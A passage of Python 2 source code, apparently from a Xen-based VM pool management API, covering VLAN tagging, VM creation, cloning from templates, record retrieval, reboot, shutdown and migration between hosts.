except Exception, e: dominfo.switch_vif_to_different_ovs_and_set_tag(int(eth_num), value, bridge, ovs) raise e else: dominfo.set_tag(int(eth_num), value) # ovs_cmd #self._VM_get_other_config(session, vm_ref) # in oder to convert other_config dominfo.info.setdefault('other_config',{}) dominfo.info['other_config'].setdefault('tag',{}) dominfo.info['other_config']['tag'][eth_num] = value self._VM_save(dominfo) return xen_api_success_void() def _VM_set_tag_by_ethnum(self, session, vm_ref, eth_num, value): ''' @author: wuyuewen @summary: Internal method. Set VIF's tag(VLAN-ID) by eth_num, this attribute stored in VM's other_config field. @param session: session of RPC. @param vm_ref: uuid @param eth_num: eth_num of VIF @param value: VIF's tag number(VLAN-ID), default number is -1(VLAN not used). @return: True | False @rtype: dict. ''' xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) domname = dominfo.getName() log.debug('Set vm(%s) %s vlan:%s' %(domname, str(eth_num), value)) dominfo.set_tag(int(eth_num), value) # ovs_cmd #self._VM_get_other_config(session, vm_ref) # in oder to convert other_config dominfo.info.setdefault('other_config',{}) tag_list = dominfo.info['other_config'].setdefault('tag',{}) dominfo.info['other_config']['tag'][eth_num] = value return self._VM_save(dominfo) def VM_remove_from_other_config(self, session, vm_ref, key): if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_remove_from_other_config(session, vm_ref, key) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_remove_from_other_config', vm_ref, key) else: return self._VM_remove_from_other_config(session, vm_ref, key) def _VM_remove_from_other_config(self, session, vm_ref, key): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) if dom and 'other_config' in dom.info \ and key in dom.info['other_config']: del dom.info['other_config'][key] return self._VM_save(dom) else: return xen_api_success_void() def VM_get_crash_dumps(self, _, vm_ref): ''' @deprecated: not used ''' return xen_api_todo() def verify(self, ip): ''' @deprecated: not used ''' try: proxy = ServerProxy("http://" + ip + ":9363/") response = proxy.session.login('root') except socket.error: return False else: if cmp(response['Status'], 'Failure') == 0: return False return True def VM_get_suspend_VDI(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_suspend_VDI(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_suspend_VDI', vm_ref) else: return self._VM_get_suspend_VDI(session, vm_ref) def _VM_get_suspend_VDI(self, session, vm_ref): ''' @deprecated: not used ''' xennode = XendNode.instance() return xen_api_success(xennode.get_suspend_VDI(vm_ref)) def VM_get_suspend_SR(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_suspend_SR(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_suspend_SR', vm_ref) else: return self._VM_get_suspend_SR(session, vm_ref) def _VM_get_suspend_SR(self, session, vm_ref): ''' @deprecated: not used ''' xennode = XendNode.instance() return xen_api_success(xennode.get_suspend_SR(vm_ref)) # class methods def VM_get_all_and_consoles(self, session): ''' @deprecated: not used ''' VM_and_consoles = {} for d in XendDomain.instance().list('all'): vm_uuid = d.get_uuid() if cmp(vm_uuid, DOM0_UUID) == 0: continue dom = XendDomain.instance().get_vm_by_uuid(vm_uuid) vm_consoles = [] for console in dom.get_consoles(): vm_consoles.append(console) VM_and_consoles[vm_uuid] = vm_consoles return xen_api_success(VM_and_consoles) # def VM_get_all(self, session): # refs = self._VM_get_all() # if BNPoolAPI._isMaster: # host_ref = XendNode.instance().uuid # for key in BNPoolAPI.get_hosts(): # if cmp(key, host_ref) != 0: # ip = BNPoolAPI.get_host_ip(key) # refs += xen_rpc_call(ip, "VM_get_all") # # return xen_api_success(refs) def VM_get_all(self, session): ''' @author: wuyuewen @summary: Get all guest VMs. @param session: session of RPC. @return: list of VMs uuid. @rtype: dict. ''' if BNPoolAPI._isMaster: refs = [] refs.extend(self._VM_get_all(session).get('Value')) for k in BNPoolAPI.get_hosts(): if cmp(k, XendNode.instance().uuid) == 0: continue remote_ip = BNPoolAPI.get_host_ip(k) # log.debug(remote_ip) refs.extend(xen_rpc_call(remote_ip, 'VM_get_all').get('Value')) return xen_api_success(refs) else: return self._VM_get_all(session) def _VM_get_all(self, session): ''' @author: wuyuewen @summary: Internal method. Get all guest VMs. @param session: session of RPC. @return: list of VMs uuid. @rtype: dict. ''' refs = [d.get_uuid() for d in XendDomain.instance().list('all') if d.get_uuid() != DOM0_UUID] if refs: return xen_api_success(refs) else: return xen_api_success([]) def VM_get_by_name_label(self, session, label): ''' @author: wuyuewen @summary: Get VM by VM's name label. @param session: session of RPC. @param label: name label of VM @return: VM. @rtype: dict. ''' if BNPoolAPI._isMaster: refs = [] refs.extend(self._VM_get_by_name_label(session, label)['Value']) for k in BNPoolAPI.get_hosts(): if cmp(k, XendNode.instance().uuid) == 0: continue remote_ip = BNPoolAPI.get_host_ip(k) refs.extend(xen_rpc_call(remote_ip, 'VM_get_by_name_label', label)['Value']) return xen_api_success(refs) else: return self._VM_get_by_name_label(session, label) def _VM_get_by_name_label(self, session, label): ''' @author: wuyuewen @summary: Internal method. Get VM by VM's name label. @param session: session of RPC. @param label: name label of VM @return: VM. @rtype: dict. ''' xendom = XendDomain.instance() uuids = [] dom = xendom.domain_lookup_by_name_label(label) if dom: return xen_api_success([dom.get_uuid()]) return xen_api_success([]) def VM_get_security_label(self, session, vm_ref): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) label = dom.get_security_label() return xen_api_success(label) def VM_set_security_label(self, session, vm_ref, sec_label, old_label): ''' @deprecated: not used ''' dom = XendDomain.instance().get_vm_by_uuid(vm_ref) (rc, errors, oldlabel, new_ssidref) = \ dom.set_security_label(sec_label, old_label) if rc != xsconstants.XSERR_SUCCESS: return xen_api_error(['SECURITY_ERROR', rc, xsconstants.xserr2string(-rc)]) if rc == 0: rc = new_ssidref return xen_api_success(rc) def VM_create_on(self, session, vm_struct, host_ref): ''' @author: wuyuewen @summary: A Pool range method, create a VM on a Host in Pool. @precondition: vm_struct is legal, vm name not duplicated. @param session: session of RPC. @param vm_struct: dict of vm structure @param host_ref: VM create on which Host. @return: VM. @rtype: dict. @raise xen_api_error: VM name already exists @raise XendError: ''' if BNPoolAPI._isMaster: log.debug(vm_struct) newuuid = vm_struct.get('uuid', None) check_uuid = self._VM_create_check_vm_uuid_unique(newuuid) if not check_uuid: return xen_api_error(XEND_API_ERROR_VM_UNIQUE_UUID_ERROR) vm_label = vm_struct.get('nameLabel') vms = self.VM_get_by_name_label(session, vm_label) if vms.get('Value'): return xen_api_error(['VM name already exists', 'VM', vm_label]) else: if cmp(host_ref, XendNode.instance().uuid) == 0: response = self._VM_create(session, vm_struct) domuuid = response.get('Value') else: remote_ip = BNPoolAPI.get_host_ip(host_ref) response = xen_rpc_call(remote_ip, 'VM_create_on', vm_struct, host_ref) domuuid = response.get('Value') if domuuid: BNPoolAPI.update_data_struct('vm_create', domuuid, host_ref) return response else: response = self._VM_create(session, vm_struct) domuuid = response.get('Value') if domuuid: BNPoolAPI.update_data_struct('vm_create', domuuid, XendNode.instance().uuid) return response def VM_create(self, session, vm_struct): ''' @author: wuyuewen @summary: A Host range method, create a VM on this Host. @precondition: vm_struct is legal, vm name not duplicated. @param session: session of RPC. @param vm_struct: dict of vm structure @return: VM. @rtype: dict. @raise xen_api_error: VM name already exists @raise XendError: ''' if BNPoolAPI._isMaster: newuuid = vm_struct.get('uuid', None) check_uuid = self._VM_create_check_vm_uuid_unique(newuuid) if not check_uuid: return xen_api_error(XEND_API_ERROR_VM_UNIQUE_UUID_ERROR) vm_label = vm_struct.get('nameLabel') vms = self.VM_get_by_name_label(session, vm_label) if vms.get('Value'): return xen_api_error(['VM name already exists', 'VM', vm_label]) else: response = self._VM_create(session, vm_struct) domuuid = response.get('Value') if domuuid: BNPoolAPI.update_data_struct('vm_create', domuuid, XendNode.instance().uuid) return response else: response = self._VM_create(session, vm_struct) domuuid = response.get('Value') log.debug("new vm local uuid : %s", domuuid) if domuuid: BNPoolAPI.update_data_struct('vm_create', domuuid, XendNode.instance().uuid) return response def _VM_create(self, session, vm_struct): ''' @author: wuyuewen @summary: Internal method. Create a VM on this Host. @precondition: vm_struct is legal, vm name not duplicated. @param session: session of RPC. @param vm_struct: dict of vm structure @return: VM. @rtype: dict. @raise xen_api_error: VM name already exists @raise XendError: ''' xendom = XendDomain.instance() domuuid = XendTask.log_progress(0, 100, xendom.create_domain, vm_struct) return xen_api_success(domuuid) def _VM_create_check_vm_uuid_unique(self, newuuid): if newuuid: return BNPoolAPI.check_vm_uuid_unique(newuuid) else: return True def VM_create_from_vmstruct(self, session, vm_struct): ''' @deprecated: not used ''' xendom = XendDomain.instance() domuuid = XendTask.log_progress(0, 100, xendom.create_domain, vm_struct) return xen_api_success(domuuid) def VM_create_from_sxp(self, session, path, start_it=False, update_pool_structs=True): ''' @author: wuyuewen @summary: Create a VM on this Host from .sxp file. @precondition: sxp file is legal, vm name not duplicated. @param session: session of RPC. @param path: path of sxp file @param start_it: Start the VM after create, if start_it=True, Host must have enough free memory. @return: VM. @rtype: dict. @raise xen_api_error: VM name already exists @raise XendError: ''' # filename = '/home/share/config.sxp' try: sxp_obj = sxp.parse(open(path, 'r')) sxp_obj = sxp_obj[0] xendom = XendDomain.instance() domuuid = XendTask.log_progress(0, 100, xendom.domain_new, sxp_obj) if update_pool_structs: BNPoolAPI.update_data_struct('vm_create', domuuid, XendNode.instance().uuid) if start_it: # try: response = self._VM_start(session, domuuid, False, True) if cmp(response['Status'], 'Failure') == 0: self._VM_destroy(session, domuuid, False) return response # except Exception, exn: # self._VM_destroy(session, domuuid, False) # return xen_api_error(['VM_START_FAILED', 'VM', domuuid]) return response else: return xen_api_success(domuuid) except IOError, e: return xen_api_error(["Unable to read file: %s" % path]) except Exception, exn: log.exception(exn) return xen_api_error(['Create from sxp failed!']) # finally: # cmd = 'rm -f %s' % path # doexec(cmd) # return XendTask.log_progress(0, 100, do_vm_func, # "domain_start", domuuid, False, False) # object methods def VM_get_record(self, session, vm_ref): ''' @author: wuyuewen @summary: Get VM's record. @param session: session of RPC. @param vm_ref: VM's uuid @return: VM record @rtype: dict. @raise xen_api_error: VM not exists ''' #log.debug('=================vm_get_record:%s' % vm_ref) if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_get_record(session, vm_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_get_record', vm_ref) else: return self._VM_get_record(session, vm_ref) def _VM_get_record(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Get VM's record. @param session: session of RPC. @param vm_ref: VM's uuid @return: VM record @rtype: dict. @raise xen_api_error: VM not exists ''' xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) xennode = XendNode.instance() if not xeninfo: log.debug("can not find vm:" + vm_ref) return xen_api_error(['HANDLE_INVALID', 'VM', vm_ref]) domid = xeninfo.getDomid() dom_uuid = xeninfo.get_uuid() record = { 'uuid': dom_uuid, 'power_state': xeninfo.get_power_state(), 'name_label': xeninfo.getName(), 'name_description': xeninfo.getNameDescription(), 'user_version': 1, 'is_a_template': xeninfo.info['is_a_template'], 'is_local_vm' : self._VM_get_is_local_vm(session, vm_ref).get("Value", True), 'ip_addr' : xeninfo.getDomainIp(), 'MAC' : xeninfo.getDomainMAC(), 'auto_power_on': xeninfo.info['auto_power_on'], 'resident_on': XendNode.instance().uuid, 'memory_static_min': xeninfo.get_memory_static_min(), 'memory_static_max': xeninfo.get_memory_static_max(), 'memory_dynamic_min': xeninfo.get_memory_dynamic_min(), 'memory_dynamic_max': xeninfo.get_memory_dynamic_max(), 'VCPUs_params': xeninfo.get_vcpus_params(), 'VCPUs_at_startup': xeninfo.getVCpuCount(), 'VCPUs_max': xeninfo.getVCpuCount(), 'actions_after_shutdown': xeninfo.get_on_shutdown(), 'actions_after_reboot': xeninfo.get_on_reboot(), 'actions_after_suspend': xeninfo.get_on_suspend(), 'actions_after_crash': xeninfo.get_on_crash(), 'consoles': xeninfo.get_consoles(), 'VIFs': xeninfo.get_vifs(), 'VBDs': xeninfo.get_vbds(), 'VTPMs': xeninfo.get_vtpms(), 'DPCIs': xeninfo.get_dpcis(), 'DSCSIs': xeninfo.get_dscsis(), 'DSCSI_HBAs': xeninfo.get_dscsi_HBAs(), 'PV_bootloader': xeninfo.info.get('PV_bootloader'), 'PV_kernel': xeninfo.info.get('PV_kernel'), 'PV_ramdisk': xeninfo.info.get('PV_ramdisk'), 'PV_args': xeninfo.info.get('PV_args'), 'PV_bootloader_args': xeninfo.info.get('PV_bootloader_args'), 'HVM_boot_policy': xeninfo.info.get('HVM_boot_policy'), 'HVM_boot_params': xeninfo.info.get('HVM_boot_params'), 'platform': xeninfo.get_platform(), 'PCI_bus': xeninfo.get_pci_bus(), 'tools_version': xeninfo.get_tools_version(), 'other_config': xeninfo.info.get('other_config', {}), 'tags' : xeninfo.info.get('tags', []), 'domid': domid is None and -1 or domid, 'is_control_domain': xeninfo.info['is_control_domain'], 'metrics': xeninfo.get_metrics(), 'cpu_qos': xeninfo.get_cpu_qos(), 'security_label': xeninfo.get_security_label(), 'crash_dumps': [], 'suspend_VDI' : xennode.get_suspend_VDI(dom_uuid), 'suspend_SR' : xennode.get_suspend_SR(dom_uuid), 'connected_disk_SRs' : xennode.get_connected_disk_sr(dom_uuid), 'connected_iso_SRs' : xennode.get_connected_iso_sr(dom_uuid), 'pool_name': xeninfo.info.get('pool_name'), # 'cpu_pool' : XendCPUPool.query_pool_ref(xeninfo.get_cpu_pool()), } #log.debug(record) return xen_api_success(record) # def VM_get_record_lite(self, session, vm_ref=''): # if BNPoolAPI._isMaster: # hosts = self.host_get_all(session).get('Value', '') # node = XendNode.instance() # records = [] # if hosts: # for host in hosts: # if cmp(node.uuid, host) == 0: # records.append(self._VM_get_record_lite(session)) # else: # host_ip = BNPoolAPI.get_host_ip(host) # records.append(xen_rpc_call(host_ip, 'VM_get_record_lite', '').get('Value', [])) # return xen_api_success(records) # else: # return xen_api_success(self._VM_get_record_lite(session)) def VM_get_record_lite(self, session, vm_ref=''): ''' @deprecated: not used ''' vms = self._VM_get_all(session).get('Value', []) retv = [] if vms: for vm_ref in vms: xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) # xennode = XendNode.instance() if not xeninfo: log.debug("can not find vm:" + vm_ref) return xen_api_error(['HANDLE_INVALID', 'VM', vm_ref]) # domid = xeninfo.getDomid() dom_uuid = xeninfo.get_uuid() record_lite = {'uuid' : dom_uuid, 'power_state' : xeninfo.get_power_state(), } # log.debug(record_lite) retv.append(record_lite) return xen_api_success(retv) def VM_clean_reboot(self, session, vm_ref): ''' @author: wuyuewen @summary: Attempt to cleanly reboot the specified VM. This can only be called when the specified VM is in the Running state. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise XendError: Bad power state. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: response = self._VM_clean_reboot(session, vm_ref) response = self._VM_reboot_checkout(session, vm_ref) # self. _VM_set_all_tag(session, vm_ref) # self._VM_set_all_rate(session, vm_ref, 'rate') # self._VM_set_all_rate(session, vm_ref, 'burst') # self.VM_start_set_IO_limit(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) response = xen_rpc_call(host_ip, "VM_clean_reboot", vm_ref) return response else: response = self._VM_clean_reboot(session, vm_ref) response = self._VM_reboot_checkout(session, vm_ref) # self. _VM_set_all_tag(session, vm_ref) # self._VM_set_all_rate(session, vm_ref, 'rate') # self._VM_set_all_rate(session, vm_ref, 'burst') # self.VM_start_set_IO_limit(session, vm_ref) return response def _VM_clean_reboot(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Attempt to cleanly reboot the specified VM. This can only be called when the specified VM is in the Running state. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise XendError: Bad power state. ''' #self._VM_clean_IO_limit_shutdown(session, vm_ref) #add by wufan xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) XendTask.log_progress(0, 100, xeninfo.shutdown, "reboot") return xen_api_success_void() def _VM_reboot_checkout(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Checkout when reboot operation finish, VM_ID = VM_ID + 1. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise Exception: Timeout 90 seconds. ''' domid_old = self.VM_get_domid(session, vm_ref)['Value'] i = 0 flag = False one_more = True while True: i += 1 domid_new = self.VM_get_domid(session, vm_ref)['Value'] if cmp(int(domid_new), int(domid_old)) > 0: log.debug('reboot finished: %s, cost time: %s' % (vm_ref, str(i))) flag = True break elif cmp(i, 90) > 0 and cmp(int(domid_new), -1) == 0 or not domid_new: if one_more: one_more = False i -= 6 continue else: log.exception('reboot timeout!') break else: time.sleep(1) continue return xen_api_success(flag) def VM_clean_shutdown(self, session, vm_ref): ''' @author: wuyuewen @summary: Attempt to cleanly shutdown the specified VM. This can only be called when the specified VM is in the Running state. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise XendError: Bad power state. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: response = self._VM_clean_shutdown(session,vm_ref) response = self._VM_shutdown_checkout(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) response = xen_rpc_call(host_ip, "VM_clean_shutdown", vm_ref) return response else: response = self._VM_clean_shutdown(session, vm_ref) response = self._VM_shutdown_checkout(session, vm_ref) return response def _VM_clean_shutdown(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Attempt to cleanly shutdown the specified VM. This can only be called when the specified VM is in the Running state. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise XendError: Bad power state. ''' #self._VM_clean_IO_limit_shutdown(session, vm_ref) #add by wufan is_a_template = self._VM_get_is_a_template(session, vm_ref).get('Value') if is_a_template: return xen_api_error(XEND_API_ERROR_VM_IS_TEMPLATE) xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) XendTask.log_progress(0, 100, xeninfo.shutdown, "poweroff") return xen_api_success_void() def _VM_shutdown_checkout(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Checkout when shutdown operation finish. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise Exception: Timeout 90 seconds. ''' i = 0 time_out = 60 flag = False while True: i += 1 # ps_new = self.VM_get_power_state(session, vm_ref)['Value'] domid = self.VM_get_domid(session, vm_ref).get('Value') # log.debug(ps_new) if not domid or cmp (int(domid), -1) == 0: log.debug("shutdown finished: %s, cost time: %s" % (vm_ref, str(i))) flag = True break elif cmp(i, time_out) > 0: log.exception("shutdown timeout!") break else: time.sleep(1) continue return xen_api_success(flag) ''' when VM create from template, migrate VM to destinate host VM is shutdown, refer to VM_start_on ''' def VM_change_host(self, session, vm_ref, temp_ref, host_ref, path): ''' @author: wuyuewen @summary: When VM create from template, migrate VM to destinate host, refer to VM_create_on_from_template. @precondition: VM not running @param session: session of RPC. @param vm_ref: VM's uuid @param temp_ref: VM template uuid @param host_ref: migrate VM to which host @return: True | False @rtype: dict. @raise xen_api_error: CHANGE_HOST_ON_FAILED ''' try: log.debug("in VM_change_host: %s" % vm_ref) if BNPoolAPI._isMaster: if self.VM_get_is_local_vm(session, vm_ref).get('Value'): return xen_api_success(True) xennode = XendNode.instance() master_uuid = xennode.uuid h_ref = BNPoolAPI.get_host_by_vm(vm_ref) if not h_ref: log.exception('Get host by VM failed! BNPoolAPI update_data_struct not sync!') h_ref = BNPoolAPI.get_host_by_vm(temp_ref) h_ip = BNPoolAPI.get_host_ip(h_ref) host_ip = BNPoolAPI.get_host_ip(host_ref) paths = xennode.get_ha_sr_location() log.debug(paths) # if cmp(paths, {}) !=0: if paths: for p in paths.values(): # path = os.path.join(p, CACHED_CONFIG_FILE) path = os.path.join(p, '%s.sxp' % vm_ref) break else: path = '' log.debug('vm_migrate to ha path: %s' % path) # else: # return xen_api_error(['nfs_ha not mounted', NFS_HA_DEFAULT_PATH]) #copy sxp file to nfs log.debug("<dest ip>, <host ip>: <%s>, <%s>" % (host_ip, h_ip)) xen_rpc_call(h_ip, 'VM_copy_sxp_to_nfs', vm_ref, path) if cmp(host_ref, master_uuid) == 0 and cmp(master_uuid, h_ref) == 0: log.debug("-----condition 1-----") log.debug("vm dest: master, vm now: master") response = {'Status' : 'Success', 'Value' : vm_ref} # return xen_api_success(True) elif cmp(host_ref, master_uuid) == 0 and cmp(master_uuid, h_ref) != 0: log.debug("-----condition 2-----") log.debug("vm dest: master, vm now: node") response = self.VM_create_from_sxp(session, path, False, False) # log.debug('create from template: %s' % response) if cmp (response.get('Status'), 'Success') == 0: xen_rpc_call(h_ip, 'VM_destroy', vm_ref, False, False, False) # log.debug('destroy : %s' % response) elif cmp(host_ref, master_uuid) != 0 and cmp(master_uuid, h_ref) == 0: log.debug("-----condition 3-----") log.debug("vm dest: node, vm now: master") log.debug("host ip (%s) path(%s)" % (host_ip, path)) response = xen_rpc_call(host_ip, 'VM_create_from_sxp', path, False, False) if cmp (response.get('Status'), 'Success') == 0: self._VM_destroy(session, vm_ref, False, False) elif cmp(host_ref, master_uuid) != 0 and cmp(master_uuid, h_ref) != 0: if cmp(h_ref, host_ref) == 0: log.debug("-----condition 4-----") log.debug("vm dest: node1, vm now: node2, node1 = node2") response = {'Status' : 'Success', 'Value' : vm_ref} else: log.debug("-----condition 5-----") log.debug("vm dest: node1, vm now: node2, node1 != node2") response = xen_rpc_call(host_ip, 'VM_create_from_sxp', path, False, False) if cmp (response.get('Status'), 'Success') == 0: xen_rpc_call(h_ip, 'VM_destroy', vm_ref, False, False, False) if cmp (response.get('Status'), 'Success') == 0: BNPoolAPI.update_data_struct('vm_start_on', vm_ref, h_ref, host_ref) # reason here is pre-fixed log.debug("Finished change host on: %s migrate vm(%s) to %s" % (h_ip, vm_ref, host_ip)) return response else: path = '' return xen_api_success(True) except Exception, exn: log.exception(exn) return xen_api_error(['CHANGE_HOST_ON_FAILED,', exn]) # finally: # if path: # cmd = 'rm -f %s' % path # doexec(cmd) ''' 1.clone vm on the same host of template 2.migrate vm to the destinate host 3.destroy origin vm ''' def VM_create_on_from_template(self, session, host_ref, vm_ref, newname, config, ping=False): ''' @author: wuyuewen @summary: 1. Clone VM from template on the same Host 2. Migrate VM to destinate Host, if migrate success, destroy origin VM on origin Host. 3. Start VM and set VM password, if start VM failed, VM will destroy. @precondition: 1. Storage has enough space, template structure is legal. See VM_clone_MAC 2. See VM_change_host. 3. Destinate Host has enough free memory, VM already installed Agent for password change. See VM_set_config. @param session: session of RPC. @param host_ref: destinate Host @param vm_ref: VM's uuid @param newname: name of new VM @param config: dict type config @param ping: True | False, VM installed Agent. True: VM boot into OS then method return False: VM excute start option and resturn. @return: True | False @rtype: dict. @raise xen_api_error: CHANGE_HOST_ON_FAILED, create vm from template error ''' # self.__vm_clone_lock__.acquire() path = None try: log.debug('1.vm_create from template>>>>>') newuuid = config.get('newUuid', None) mac_addr = config.get('MAC', None) st1 = time.time() paths = XendNode.instance().get_ha_sr_location() log.debug(paths) if not BNPoolAPI.check_vm(vm_ref): return xen_api_error(['VM_NOT_FOUND']) if not BNPoolAPI.check_host(host_ref): return xen_api_error(['HOST_NOT_FOUND']) check_uuid = self._VM_create_check_vm_uuid_unique(newuuid) if not check_uuid: return xen_api_error(XEND_API_ERROR_VM_UNIQUE_UUID_ERROR) if mac_addr and not self._VIF_is_mac_format_legal(mac_addr): return xen_api_error(['MAC_INVALID']) # if cmp(paths, {}) !=0: if paths: for p in paths.values(): # path = os.path.join(p, CACHED_CONFIG_FILE) path = os.path.join(p, '%s.sxp' % vm_ref) break else: return xen_api_error(['HA_DIR_NOT_FOUND']) if not mac_addr: log.debug('2. vm_clone >>>>>>') response = self.VM_clone(session, vm_ref, newname, None, newuuid) else: log.debug('2. vm_clone_mac >>>>>>') response = self.VM_clone_MAC(session, vm_ref, newname, mac_addr, None, newuuid) e1 = (time.time() - st1) log.debug('VM clone cost time :%s ' % e1) # log.debug("rpc.VM_start():", e4) if response.get('Status') == 'Success': # self.__vm_change_host_lock__.acquire() # try: domuuid = response.get('Value') log.debug('new VM uuid:%s' % domuuid) # change VM host from cur to host_ref response = self.VM_change_host(session, domuuid, vm_ref, host_ref, path) log.debug('change host response: %s' % response) # finally: # self.__vm_change_host_lock__.release() if response.get('Status') == 'Success': log.debug('3. vm_set_config>>>>>') response = self.VM_set_config(session, domuuid, config, ping) # when set config failed, VM will be deleted! e2 = (time.time() - st1) log.debug(">>>>VM_create_on_from_template<<<< Total cost: %s" % e2) if response.get('Status') == 'Success': return response return xen_api_error(['create vm from template error']) except Exception, exn: log.exception(exn) return xen_api_error(['create vm from template error: %s' % exn]) finally: if path: st1 = time.time() cmd = 'rm -f %s' % path doexec(cmd) e1 = (time.time() - st1) log.debug('remove %s cost: %s' %(path, e1)) # finally: # self.__vm_clone_lock__.release() def VM_create_from_template(self, session, vm_ref, newname, config): ''' @deprecated: not used ''' log.debug('1.vm_create from template>>>>>') newuuid = config.get('newUuid', None) mac_addr = config.get('MAC', None) st1 = time.time() check_uuid = self._VM_create_check_vm_uuid_unique(newuuid) if not self._VIF_is_mac_format_legal(mac_addr): return xen_api_error(['MAC_INVALID']) if not check_uuid: return xen_api_error(XEND_API_ERROR_VM_UNIQUE_UUID_ERROR) if not mac_addr: log.debug('2. vm_clone >>>>>>') response = self.VM_clone(session, vm_ref, newname, None, newuuid) else: log.debug('2. vm_clone_mac >>>>>>') response = self.VM_clone_MAC(session, vm_ref, newname, mac_addr, None, newuuid) e1 = (time.time() - st1) log.debug('VM clone cost time :%s ' % e1) # log.debug("rpc.VM_start():", e4) if response.get('Status') == 'Success': domuuid = response.get('Value') log.debug('new VM uuid:%s' % domuuid) log.debug('3. vm_set_config>>>>>') response = self.VM_set_config(session, domuuid, config) # when set config failed, VM will be deleted! if response.get('Status') == 'Success': return response return xen_api_error(['create vm from template error']) def VM_create_with_VDI(self, session, host_ref, vm_ref, newname, config, ping=False): ''' @deprecated: not used ''' # self.__vm_clone_lock__.acquire() path = None try: storage = self._get_BNStorageAPI_instance() log.debug('1.vm_create from template>>>>>') newuuid = config.get('newUuid', None) mac_addr = config.get('MAC', None) if not BNPoolAPI.check_vm(vm_ref): return xen_api_error(['VM_NOT_FOUND']) if not BNPoolAPI.check_host(host_ref): return xen_api_error(['HOST_NOT_FOUND']) if not self._VIF_is_mac_format_legal(mac_addr): return xen_api_error(['MAC_INVALID']) check_uuid = self._VM_create_check_vm_uuid_unique(newuuid) if not check_uuid: return xen_api_error(XEND_API_ERROR_VM_UNIQUE_UUID_ERROR) vdi_new_uuid = config.get('vdiUuid', None) st1 = time.time() vdis_resp = storage.VDI_get_by_vm(session, vm_ref) sys_vdi = self.VM_get_system_VDI(session, vm_ref).get('Value', '') if not newuuid: newuuid = genuuid.gen_regularUuid() vdi_uuid_map = {} vdis = vdis_resp.get('Value', []) if vdis: for vdi in vdis: vdi_uuid_map[vdi] = genuuid.gen_regularUuid() if sys_vdi in vdis and vdi_new_uuid: vdi_uuid_map[sys_vdi] = vdi_new_uuid paths = XendNode.instance().get_ha_sr_location() log.debug(paths) # if cmp(paths, {}) !=0: if paths: for p in paths.values(): # path = os.path.join(p, CACHED_CONFIG_FILE) path = os.path.join(p, '%s.sxp' % vm_ref) break else: return xen_api_error(['HA_DIR_NOT_FOUND']) if not mac_addr: log.debug('2. vm_clone >>>>>>') response = self.VM_clone(session, vm_ref, newname, vdi_uuid_map, newuuid, True) else: log.debug('2. vm_clone_mac >>>>>>') response = self.VM_clone_MAC(session, vm_ref, newname, mac_addr, vdi_uuid_map, newuuid, True) e1 = (time.time() - st1) log.debug('VM clone cost time :%s ' % e1) # log.debug("rpc.VM_start():", e4) if response.get('Status') == 'Success': domuuid = response.get('Value') log.debug('new VM uuid:%s' % domuuid) # change VM host from cur to host_ref response = self.VM_change_host(session, domuuid, vm_ref, host_ref, path) log.debug('change host response: %s' % response) if response.get('Status') == 'Success': log.debug('3. vm_set_config>>>>>') response = self.VM_set_config(session, domuuid, config, ping) # when set config failed, VM will be deleted! e2 = (time.time() - st1) log.debug(">>>>VM_create_with_VDI<<<< Total cost: %s" % e2) if response.get('Status') == 'Success': return response return xen_api_error(['create vm from template error']) except Exception, exn: log.exception(exn) return xen_api_success(False) # finally: # self.__vm_clone_lock__.release() def VM_set_passwd(self, session, vm_ref, vm_ip, passwd, origin_passwd, vm_type): ''' @author: wuyuewen @summary: VM set password use SSH protocol. The set password agent running in Host, use host 10086 port. @precondition: Set password Agent is running, windows VM has SSH-Server installed. @param session: session of RPC. @param vm_ref: VM's uuid @param vm_ip: VM's ip @param passwd: new password @param origin_passwd: origin password @param vm_type: windows | linux @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: response = 